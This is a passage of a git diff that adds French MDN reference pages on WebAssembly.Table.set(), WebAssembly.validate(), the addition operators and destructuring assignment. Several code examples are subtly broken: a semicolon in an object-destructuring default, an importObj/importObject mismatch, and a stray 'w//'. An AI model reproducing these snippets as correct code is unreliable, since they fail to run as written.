+<ul>
+ <li>{{jsxref("WebAssembly.Table")}}</li>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/set/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/set/index.html
new file mode 100644
index 0000000000..c7b57a88b8
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/set/index.html
@@ -0,0 +1,105 @@
+---
+title: WebAssembly.Table.prototype.set()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/set
+tags:
+  - API
+  - JavaScript
+  - Méthode
+  - Reference
+  - WebAssembly
+  - table
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/set
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>set()</strong></code>, rattachée au prototype de {{jsxref("WebAssembly.Table")}}, permet de modifier une référence de fonction stockée dans un tableau WebAssembly.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">table.set(<em>index</em>, <em>valeur</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>L'index de la référence de la fonction qu'on souhaite modifier.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur par laquelle on souhaite remplacer la référence. Cette valeur doit être <a href="/fr/docs/WebAssembly/Exported_functions">une fonction exportée WebAssembly</a> (c'est-à-dire une enveloppe JavaScript représentant une fonction WebAssembly sous-jacente).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Aucune.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Si <code>index</code> est supérieur ou égal à {{jsxref("WebAssembly/Table/length","Table.prototype.length")}}, une exception {{jsxref("RangeError")}} sera levée.</li>
+ <li>Si <code>valeur</code> n'est pas une fonction WebAssembly exportée ou la valeur {{jsxref("null")}}, une exception {{jsxref("TypeError")}} sera levée.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit (basé sur le <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.html">code source de <code>table2.html</code></a> et qui dispose <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table2.html">d'une démonstration</a>), on crée ue nouvelle instance d'un tableau WebAssembly (<code>Table</code>) qui permet initialement de stocker 2 référence. On imprime alors la longueur du tableau dans la console ainsi que le contenu pour les deux premiers index (obtenus grâce à la méthode {{jsxref("WebAssembly/Table/get","Table.prototype.get()")}}) afin de montrer qu la longueur vaut 2 et qu'initialement, les deux éléments du tableau ne contiennent aucune référence (ils ont tous les deux la valeur {{jsxref("null")}}).</p>
+
+<pre class="brush: js">var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
+console.log(tbl.length);
+console.log(tbl.get(0));
+console.log(tbl.get(1));</pre>
+
+<p>On crée ensuite un objet d'import qui contient une référence au tableau :</p>
+
+<pre class="brush: js">var importObj = {
+  js: {
+    tbl:tbl
+  }
+};</pre>
+
+<p>Enfin, on charge et on instancie le module WebAssembly (<code>table2.wasm</code>) grâce à la méthode {{jsxref("WebAssembly.instantiateStreaming()")}}, on logge la longueur du tableau et on appelle les deux fonctions référencées qui sont désormais dans le tableau (le module <code>table2.wasm</code> (cf. <a href="https://github.com/mdn/webassembly-examples/blob/master/text-format-examples/table2.was">la représentation textuelle</a>) ajoute deux références de fonctions au tableau et chacune affiche une valeur simple) :</p>
+
+<pre class="brush: js">WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject)
+.then(function(obj) {
+  console.log(tbl.length);
+  console.log(tbl.get(0)());
+  console.log(tbl.get(1)());
+});</pre>
+
+<p>On voit ici qu'il faut appeler la fonction après avoir appeler l'opérateur sur l'accesseur (autrement dit, on écrit <code>get(0)()</code> plutôt que <code>get(0)</code>) .</p>
+
+<p>Dans cet exemple, on montre comment créer et manipuler un tableau en JavaScript mais ce tableau est également accessible et manipulable depuis l'instance WebAssembly.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblytableprototypeset', 'set()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Table.set")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/validate/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/validate/index.html
new file mode 100644
index 0000000000..c00eb54e12
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/validate/index.html
@@ -0,0 +1,81 @@
+---
+title: WebAssembly.validate()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/validate
+tags:
+  - API
+  - JavaScript
+  - Méthode
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/validate
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <strong><code>WebAssembly.validate()</code></strong> permet de valider un <a href="/fr/docs/Web/JavaScript/Tableaux_typés">tableau typé</a> de <em>bytecode</em> WebAssembly et renvoie un booléen qui indique si le contenu du tableau forme un module WebAssembly valide (<code>true</code>) ou non (<code>false</code>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">WebAssembly.validate(bufferSource);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>bufferSource</code></dt>
+ <dd>Un <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray">tableau typé</a> ou un {{jsxref("ArrayBuffer")}} qui contient le <em>bytecode</em> du module qu'on souhaite valider.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen qui indique si la source est un code WebAssembly valide (<code>true</code>) ou non (<code>false</code>).</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Si la valeur passée en argument n'est pas un tableau typé ou un {{jsxref("ArrayBuffer")}}, une exception {{jsxref("TypeError")}} sera levée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, (cf. le fichier <code>validate.html</code> du <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/validate.html">code source</a>, ainsi que <a href="https://mdn.github.io/webassembly-examples/js-api-examples/validate.html">l'exemple <em>live</em></a>), on récupère un module .wasm et on le convertit en un tableau typé. Ensuite, on appelle la méthode <code>validate()</code> afin de vérifier si le module est valide.</p>
+
+<pre class="brush: js">fetch('simple.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(function(bytes) {
+  var valid = WebAssembly.validate(bytes);
+  console.log("Les octets forment un module "
+    + (valid ? "" : "in") + "valide.");
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblyvalidate', 'validate()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.validate")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/addition/index.html b/files/fr/web/javascript/reference/opérateurs/addition/index.html
new file mode 100644
index 0000000000..39f76c434d
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/addition/index.html
@@ -0,0 +1,83 @@
+---
+title: Addition (+)
+slug: Web/JavaScript/Reference/Opérateurs/Addition
+tags:
+  - JavaScript
+  - Opérateur
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/Addition
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div>L'opérateur d'addition (<code>+</code>) effectue la somme de deux opérandes numériques ou la concaténation de chaînes de <span class="ver" title="">caractères</span>.</div>
+
+
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}</div>
+
+<div></div>
+
+<p class="hidden">La source de cet exemple interactif est stockée dans un référentiel GitHub. Si vous souhaitez contribuer au projet d'exemples interactifs, veuillez cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et envoyez-nous une pull request.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><strong>Opérateur:</strong> <var>x</var> + <var>y</var>
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Addition_numérique">Addition numérique</h3>
+
+<pre class="brush: js notranslate">// Nombre + Nombre -&gt; addition
+1 + 2 // 3
+
+// Booléen + Nombre -&gt; addition
+true + 1 // 2
+
+// Booléen + Booléen -&gt; addition
+false + false // 0
+</pre>
+
+<h3 id="Concaténation_de_chaînes">Concaténation de chaînes</h3>
+
+<pre class="brush: js notranslate">// String + String -&gt; concatenation
+'foo' + 'bar' // "foobar"
+
+// Number + String -&gt; concatenation
+5 + 'foo' // "5foo"
+
+// String + Boolean -&gt; concatenation
+'foo' + false // "foofalse"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-addition-operator-plus', 'Addition operator')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("javascript.operators.addition")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Subtraction">Opérateur de soustraction</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Division">Opérateur de division</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Multiplication">Opérateur de multiplication</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Remainder">Opérateur reste</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Exponentiation">Opérateur d'exponentiation</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Increment">Opérateur d'incrémentation</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Decrement">Opérateur de décrémentation</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_negation">Opérateur de négation unaire</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_plus">Opérateur unaire plus</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/addition_avec_assignement/index.html b/files/fr/web/javascript/reference/opérateurs/addition_avec_assignement/index.html
new file mode 100644
index 0000000000..5377d00b35
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/addition_avec_assignement/index.html
@@ -0,0 +1,58 @@
+---
+title: Addition avec assignement (+=)
+slug: Web/JavaScript/Reference/Opérateurs/Addition_avec_assignement
+tags:
+  - Fonctionnalité du language
+  - JavaScript
+  - Opérateur
+  - Opérateur d'assignement
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/Addition_assignment
+---
+<p>{{jsSidebar("Operators")}}</p>
+
+<p>L'opérateur d'addition avec assignement (<code>+=</code>) permet d'ajouter une valeur à une variable. Le type des deux valeurs permet de définir si l'utilisation de cet opérateur les concatènera ou les additionnera.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-addition-assignment.html")}}</div>
+
+<div></div>
+
+<p class="hidden">La source de cet exemple interactif est stocké sur GitHub. Si vous voulez contribuer au projet de l'exemple interactif, merci de cloner ceci : <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et nous envoyer une "pull-request".</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="notranslate"><strong>Opérateur :</strong> x += y
+<strong>Signifie :</strong>  x = x + y</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Utilisation_de_lopérateur">Utilisation de l'opérateur</h3>
+
+<pre class="brush: js notranslate">// On considère les variables suivantes :
+var chaine = "Hello";
+var nombre = 5;
+var booleen = true;
+
+// Nombre + Nombre
+nombre += 2;
+// 7
+
+// Booléen + Nombre
+booleen += 1;
+// 2
+
+// Booléen + Booléen
+booleen += false;
+// 1
+
+// Nombre + Chaîne
+nombre += "World";
+// "5World"
+
+// Chaîne + Booléen
+chaine += false;
+// "Hellofalse"
+
+// Chaîne + Chaîne
+chaine += "World"
+// "HelloWorld"</pre>
diff --git a/files/fr/web/javascript/reference/opérateurs/affecter_par_décomposition/index.html b/files/fr/web/javascript/reference/opérateurs/affecter_par_décomposition/index.html
new file mode 100644
index 0000000000..cdce16f559
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/affecter_par_décomposition/index.html
@@ -0,0 +1,424 @@
+---
+title: Affecter par décomposition
+slug: Web/JavaScript/Reference/Opérateurs/Affecter_par_décomposition
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Opérateur
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/Destructuring_assignment
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'<strong>affectation par décomposition </strong>(<em>destructuring </em>en anglais) est une expression JavaScript qui permet d'extraire (<em>unpack</em> en anglais) des données d'un tableau ou d'un objet grâce à une syntaxe dont la forme ressemble à la structure du tableau ou de l'objet.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-destructuringassignment.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">let a, b, rest;
+[a, b] = [10, 20];
+console.log(a); // 10
+console.log(b); // 20
+
+[a, b, ...rest] = [10, 20, 30, 40, 50];
+console.log(a); // 10
+console.log(b); // 20
+console.log(rest); // [30, 40, 50]
+
+({a, b} = {a: 10, b: 20});
+console.log(a); // 10
+console.log(b); // 20
+
+// Proposition de syntaxe (niveau 4)
+({a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40});
+console.log(a); // 10
+console.log(b); // 20
+console.log(rest); // {c: 30, d: 40}
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> <code>{a, b} = {a:1, b:2}</code> n'est pas syntaxiquement valide en tant que tel, en effet <code>{a, b}</code> est ici considéré comme un bloc et non comme un objet littéral.</p>
+
+<p>Cependant, <code>({a, b} = {a:1, b:2})</code> sera valide comme pour la forme <code>let {a, b} = {a:1, b:2}</code>.</p>
+</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Ces expressions utilisant des littéraux pour les <a href="/fr/docs/Web/JavaScript/Guide/Valeurs,_variables,_et_littéraux#Litt.C3.A9raux_objets">objets</a> ou les <a href="/fr/docs/Web/JavaScript/Guide/Valeurs,_variables,_et_littéraux#Litt.C3.A9raux_de_tableaux">tableaux</a> permettent de créer simplement des données regroupées. Une fois créées, on peut les utiliser de n'importe quelle façon, y compris comme valeur renvoyée par une fonction.</p>
+
+<pre class="brush: js">const x = [1, 2, 3, 4, 5]; // On crée un "paquet" de données
+const [y, z] = x; // On utilise l'affectation par décomposition
+console.log(y); // 1
+console.log(z); // 2
+</pre>
+
+<p>L'intérêt de l'assignation par décomposition est de pouvoir lire une structure entière en une seule instruction. Il y a également d'autres choses que vous pouvez faire avec cette expression, comme montré dans les exemples ci-dessous.</p>
+
+<p>Cette syntaxe est semblable aux fonctionnalités offertes par des langages tels que Perl et Python.</p>
+
+<h2 id="Décomposition_dun_tableau">Décomposition d'un tableau</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<pre class="brush: js">const toto = ["un", "deux", "trois"];
+
+// sans utiliser la décomposition
+const un    = toto[0];
+const deux  = toto[1];
+const trois = toto[2];
+
+// en utilisant la décomposition
+const [un, deux, trois] = toto;</pre>
+
+<h3 id="Affectation_sans_déclaration">Affectation sans déclaration</h3>
+
+<p>L'affectation par décomposition peut être effectuée sans qu'il y ait de déclaration directement dans l'instruction d'affectation. Par exemple :</p>
+
+<pre class="brush: js">let a, b;
+[a, b] = [1, 2];
+console.log(a);  // 1
+console.log(b);  // 2</pre>
+
+<h3 id="Valeurs_par_défaut">Valeurs par défaut</h3>
+
+<p>On peut définir une valeur par défaut au cas où la valeur extraite du tableau soit {{jsxref("undefined")}}. Par exemple :</p>
+
+<pre class="brush: js">let a, b;
+
+[a = 5, b = 7] = [1];
+console.log(a); // 1
+console.log(b); // 7
+</pre>
+
+<h3 id="Échange_de_variables">Échange de variables</h3>
+
+<p>Une fois le fragment de code exécuté, on aura <var>b</var> égal à 1 et <var>a</var> égal à 3. S'il n'avait pas été possible d'utiliser l'affectation par décomposition, l'échange des valeurs aurait nécessité une variable temporaire (pour des données binaires, on aurait pu utiliser une <a class="external" href="https://fr.wikipedia.org/wiki/Permutation_(informatique)#En_utilisant_l.27op.C3.A9ration_XOR">permutation XOR</a>).</p>
+
+<pre class="brush:js">let a = 1;
+let b = 3;
+
+[a, b] = [b, a];
+console.log(a); // 3
+console.log(b); // 1</pre>
+
+<h3 id="Renvoyer_plusieurs_valeurs">Renvoyer plusieurs valeurs</h3>
+
+<p>Grâce à l'affectation par décomposition, les fonctions peuvent renvoyer plusieurs valeurs. Il était déjà possible de renvoyer un tableau mais cela ajoute un nouveau degré de flexibilité.</p>
+
+<pre class="brush:js">function f() {
+  return [1, 2];
+}
+</pre>
+
+<p>Les valeurs de retour sont déclarées via une syntaxe semblable à celle utilisée pour déclarer les tableaux, utilisant les crochets. On peut ainsi renvoyer autant de valeurs que souhaité. Dans cet exemple, <code>f()</code> renvoie les valeurs <code>[1, 2]</code>.</p>
+
+<pre class="brush:js">let a, b;
+[a, b] = f();
+console.log("A vaut " + a + " B vaut " + b);
+</pre>
+
+<p>L'instruction <code>[a, b] = f()</code> assigne, dans l'ordre, les résultats de la fonction aux variables représentées entre les crochets. Ainsi, ici <var>a</var> vaut 1 et b vaut 2.</p>
+
+<p>On peut également récupérer la valeur de retour comme un tableau :</p>
+
+<pre class="brush:js">const x = f();
+console.log("X vaut " + x);
+</pre>
+
+<p>Et on aura x qui sera égal au tableau contenant 1 et 2.</p>
+
+<h3 id="Ignorer_certaines_valeurs">Ignorer certaines valeurs</h3>
+
+<p>On peut également ignorer certaines des valeurs renvoyées qu'on ne souhaiterait pas traiter :</p>
+
+<pre class="brush:js">function f() {
+  return [1, 2, 3];
+}
+
+const [a, , b] = f();
+console.log("A vaut " + a + " B vaut " + b);
+</pre>
+
+<p>Après avoir exécuté ce code, on aura a égal à 1 et b égal à 3. La valeur 2 est ignorée. On peut ignorer n'importe laquelle des valeurs (voire toutes). Par exemple :</p>
+
+<pre class="brush:js">[,,] = f();
+</pre>
+
+<h3 id="Exploiter_les_résultats_dune_expression_rationnelle">Exploiter les résultats d'une expression rationnelle</h3>
+
+<p>Lorsque la méthode <code><a href="/fr/docs/JavaScript/Reference/Objets_globaux/Object/RegExp/Exec">exec()</a></code>, liées aux expressions rationnelles, trouve une correspondance, elle renvoie un tableau qui contient d'abord la partie complète de la chaîne qui correspond puis ensuite les différentes portions correspondant aux différents groupes. L'affectation par décomposition permet de filtrer simplement les valeurs qu'on souhaite exploiter. Ici, on ignore le premier élément qui est la correspondance complète :</p>
+
+<pre class="brush:js">function parseProtocol(url) {
+  const parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url);
+  if (!parsedURL) {
+    return false;
+  }
+  console.log(parsedURL); // ["https://developer.mozilla.org/fr/Web/JavaScript", "https", "developer.mozilla.org", "fr/Web/JavaScript"]
+
+  const [, protocol, fullhost, fullpath] = parsedURL;
+  return protocol;
+}
+
+console.log(parseProtocol('https://developer.mozilla.org/en-US/Web/JavaScript')); // "https"
+</pre>
+
+<h3 id="Affecter_le_reste_dun_tableau_à_une_variable">Affecter le reste d'un tableau à une variable</h3>
+
+<p>On peut également utiliser la décomposition d'un tableau afin d'en affecter une partie à une variable :</p>
+
+<pre class="brush: js">const [a, ...b] = [1, 2, 3];
+console.log(a); // 1
+console.log(b); // [2, 3]</pre>
+
+<p>Un exception {{jsxref("SyntaxError")}} sera levée si une virgule est laissée à la fin de l'élément du reste du tableau de gauche :</p>
+
+<pre class="brush: js example-bad">const [a, ...b,] = [1, 2, 3]
+// SyntaxError : un élément du reste ne peut pas avoir
+//               de virgule à la fin</pre>
+
+<h2 id="Décomposer_un_objet">Décomposer un objet</h2>
+
+<h3 id="Exemple_simple_2">Exemple simple</h3>
+
+<pre class="brush: js">const o = {p: 42, q: true};
+const {p, q} = o;
+
+console.log(p); // 42
+console.log(q); // true
+
+// Assign new variable names
+const {p: toto, q: truc} = o;
+
+console.log(toto); // 42
+console.log(truc); // true
+</pre>
+
+<h3 id="Affectation_sans_déclaration_2">Affectation sans déclaration</h3>
+
+<p>Il est possible d'effectuer une affectation par décomposition même si aucune déclaration n'est directement utilisée dans l'instruction d'affectation. Par exemple :</p>
+
+<pre class="brush: js">let a, b;
+({a, b} = {a:1, b:2});
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Les parenthèses <code>( ... )</code> utilisées autour de l'instruction sont nécessaires pour que la partie gauche soit bien interprétée comme un objet littéral et non comme un bloc. Il est également nécessaire d'avoir un point-virgule avant les parenthèses de l'instruction car sinon, ces parenthèses peuvent être interprétées comme un appel de fonction.</p>
+</div>
+
+<h3 id="Affecter_avec_un_nom_différent">Affecter avec un nom différent</h3>
+
+<p>Lorsqu'on décompose un objet, on peut affecter la variable obtenue sur une variable qui possède un autre nom (que celui de la propriété) :</p>
+
+<pre class="brush: js">const o = {p: 42, q: true};
+const {p: toto, q: truc} = o;
+
+console.log(toto); // 42
+console.log(truc); // true</pre>
+
+<p>Ici, par exemple, <code>const {p: toto} = o</code> prend la propriété <code>p</code> de l'objet <code>o</code> pour l'affecter à une variable locale intitulée <code>toto</code>.</p>
+
+<h3 id="Valeurs_par_défaut_2">Valeurs par défaut</h3>
+
+<p>Une variable peut recevoir une valeur par défaut lors de la décomposition si la propriété correspondante de l'objet vaut <code>undefined</code>.</p>
+
+<pre class="brush: js">const {a = 10; b = 5} = {a: 3};
+
+console.log(a); // 3
+console.log(b); // 5</pre>
+
+<h3 id="Affecter_de_nouveaux_noms_aux_variables_et_fournir_des_valeurs_par_défaut">Affecter de nouveaux noms aux variables et fournir des valeurs par défaut</h3>
+
+<p>Il est possible d'extraitre une valeur d'un objet pour lui affecter un nouveau nom et lui affecter une valeur par défaut au cas où la valeur extraite vaut <code>undefined</code>.</p>
+
+<pre class="brush: js">const {a: aa = 10, b: bb = 5} = {a: 3};
+
+console.log(aa); // 3
+console.log(bb); // 5</pre>
+
+<h3 id="Arguments_par_défaut_dune_fonction">Arguments par défaut d'une fonction</h3>
+
+<h4 id="Version_ES5">Version ES5</h4>
+
+<pre class="brush: js">function dessinGrapheES5(options) {
+  options = options === undefined ? {} : options;
+  var size = options.size === undefined ? 'big' : options.size;
+  var coords = options.coords === undefined ? { x: 0, y: 0 } : options.coords;
+  var radius = options.radius === undefined ? 25 : options.radius;
+  console.log(size, coords, radius);
+  // seulement ensuite on dessine le graphe
+}
+
+dessinGrapheES5({
+  coords: { x: 18, y: 30 },
+  radius: 30
+});</pre>
+
+<h4 id="Version_ES2015">Version ES2015</h4>
+
+<pre class="brush: js">function dessinGrapheES2015({size = 'big', coords = { x: 0, y: 0 }, radius = 25} = {})
+{
+  console.log(size, coords, radius);
+  // on dessine le graphe
+}
+
+dessinGrapheES2015({
+  coords: { x: 18, y: 30 },
+  radius: 30
+});</pre>
+
+<div class="note">
+<p><strong>Note</strong> : Dans la signature de la fonction <code>dessinGrapheES2015</code> ci avant, la valeur décomposée à gauche utilise un objet vide comme opérande droit (<code>{size = 'big', coords = { x: 0, y: 0 }, radius = 25} = {}</code>). On aurait également pu écrire la fonction sans cet objet vide mais, dans ce cas, il aurait fallu au moins un argument pour utiliser la fonction. Avec cette « forme », <code>dessinGrapheES2015()</code> pourra être appelée sans paramètre.</p>
+</div>
+
+<h3 id="Décomposition_imbriquée_avec_objets_et_tableaux">Décomposition imbriquée avec objets et tableaux</h3>
+
+<pre class="brush:js">const metadata = {
+    title: "Scratchpad",
+    translations: [
+       {
+        locale: "de",
+        localization_tags: [ ],
+        last_edit: "2014-04-14T08:43:37",
+        url: "/de/docs/Tools/Scratchpad",
+        title: "JavaScript-Umgebung"
+       }
+    ],
+    url: "/en-US/docs/Tools/Scratchpad"
+};
+
+let { title: englishTitle, translations: [{ title: localeTitle }] } = metadata;
+
+console.log(englishTitle); // "Scratchpad"
+console.log(localeTitle);  // "JavaScript-Umgebung"</pre>
+
+<h3 id="Décomposition_et_utilisation_de_for_of">Décomposition et utilisation de <a href="/fr/docs/JavaScript/Référence_JavaScript/Instructions/for...of">for of</a></h3>
+
+<pre class="brush: js">const personnes = [
+  {
+    nom: "Alain Dupont",
+    famille: {
+      mere: "Isabelle Dupont",
+      pere: "Jean Dupont",
+      soeur: "Laure Dupont"
+    },
+    age: 35
+  },
+  {
+    nom: "Luc Marchetoile",
+    famille: {
+      mere: "Patricia Marchetoile",
+      pere: "Antonin Marchetoile",
+      frere: "Yann Marchetoile"
+    },
+    age: 25
+  }
+];
+
+for (const {nom: n, famille: { pere: f } } of personnes) {
+  console.log("Nom : " + n + ", Père : " + f);
+}
+
+// "Nom : Alain Dupont, Père : Jean Dupont"
+// "Nom : Luc Marchetoile, Père : Antonin Marchetoile"</pre>
+
+<h3 id="Décomposer_les_propriétés_dobjets_passés_en_arguments">Décomposer les propriétés d'objets passés en arguments</h3>
+
+<pre class="brush:js">const user = {
+  id: 42,
+  displayName: "jbiche",
+  fullName: {
+    firstName: "Jean",
+    lastName: "Biche"
+  }
+};
+
+function userId({id}) {
+  return id;
+}
+
+function whois({displayName: displayName, fullName: {firstName: name}}){
+  console.log(displayName + " est " + name);
+}
+
+console.log("userId: " + userId(user)); w// "userId: 42"
+whois(user); // "jbiche est Jean"</pre>
+
+<p>Cela permet d'accéder directement à <code>id</code>, <code>displayName</code> et <code>firstName</code> depuis l'objet <code>user</code>.</p>
+
+<h3 id="Les_noms_de_propriétés_calculés_et_la_décomposition">Les noms de propriétés calculés et la décomposition</h3>
+
+<p>Il est possible d'utiliser des noms de propriétés calculés, comme avec les <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Initialisateur_objet#Noms_de_propri.C3.A9t.C3.A9s_calcul.C3.A9s">littéraux objets</a>, avec la décomposition.</p>
+
+<pre class="brush: js">let clef = "z";
+let { [clef]: toto } = { z: "truc" };
+
+console.log(toto); // "truc"</pre>
+
+<h3 id="Syntaxe_du_«_reste_»_et_décomposition_dun_objet">Syntaxe du « reste » et décomposition d'un objet</h3>
+
